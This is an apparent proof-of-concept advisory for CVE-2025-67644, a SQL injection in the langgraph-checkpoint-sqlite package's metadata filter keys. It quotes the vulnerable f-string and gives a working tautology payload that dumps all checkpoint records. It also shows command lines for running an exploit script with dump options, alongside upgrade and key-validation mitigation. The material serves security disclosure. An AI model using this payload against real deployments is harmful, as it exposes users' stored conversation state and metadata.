
CVE-2025-67644 is a SQL Injection vulnerability (CWE-89) in the langgraph-checkpoint-sqlite package (part of LangGraph / LangChain ecosystem).
It allows an attacker to inject arbitrary SQL via unsanitized metadata filter keys passed to the list() / alist() methods of SqliteSaver.
Impact: Full bypass of filters, leakage of all checkpoint records (including potentially sensitive conversation state, thread IDs, metadata), and in some deployment scenarios — broader database access.
Affected versions: < 3.0.1
Fixed in: ≥ 3.0.1
CVSS score: 7.3 (High) — AV:L / AC:L / PR:L / UI:N / S:C / C:H / I:L / A:N
The internal _metadata_predicate() logic used unsafe f-string interpolation of user-controlled dictionary keys inside a JSON extraction expression:
f"json_extract(CAST(metadata AS TEXT), '$.{query_key}')"
An attacker who can supply arbitrary keys (e.g. via API input) can close the JSON path early and inject SQL fragments, such as:
{"env') OR '1'='1": "anything"}
→ resulting in a WHERE clause that always evaluates to true → returns all records.
flowchart TD
A["User / API Client"] -->|"Sends malicious filter dict"| B["Application using langgraph-checkpoint-sqlite"]
B -->|"Passes filter=..."| C["SqliteSaver.list method"]
C -->|"Unsafe key interpolation"| D["Metadata predicate logic"]
D -->|"Builds injectable SQL"| E["SQLite Engine"]
E -->|"Returns ALL checkpoints / sensitive data"| F[Attacker]
F -->|"Data exfiltration / authorization bypass"| G["Impact achieved"]
(This version avoids parentheses in node text where possible and uses quotes around labels with special characters/dots to prevent parse errors.)
--dump-all (show full records), --threads-only (extract thread_ids only)pip install langgraph-checkpoint-sqlite"<3.0.1" # e.g. ==2.0.0
# Basic check (count only)
python3 exploit.py checkpoints.db
# Dump full checkpoint details
python3 exploit.py checkpoints.db --dump-all
# Extract thread_ids only (useful for enumeration)
python3 exploit.py checkpoints.db --threads-only --dump-all
# Test against in-memory database (quick & volatile)
python3 exploit.py ":memory:" --dump-all
Install vulnerable version:
pip install langgraph-checkpoint-sqlite==2.0.0
Save the exploit code as exploit.py
Run against an existing or new checkpoint database:
python3 exploit.py checkpoints.db --dump-all
Upgrade immediately:
pip install --upgrade langgraph-checkpoint-sqlite
(version ≥ 3.0.1)
Do not accept arbitrary metadata filter keys from untrusted sources (users, APIs, JSON payloads, etc.)
In ≥ 3.0.1 the library enforces a strict regex on keys: ^[a-zA-Z0-9_.-]+$
This is a proof-of-concept released for educational and security research purposes only.
Do not use this code against production systems or any target without explicit written permission.
The author is not responsible for misuse or damage caused by this code.
Responsible disclosure & research only.
Mohammed Idrees Banyamer
@banyamer_security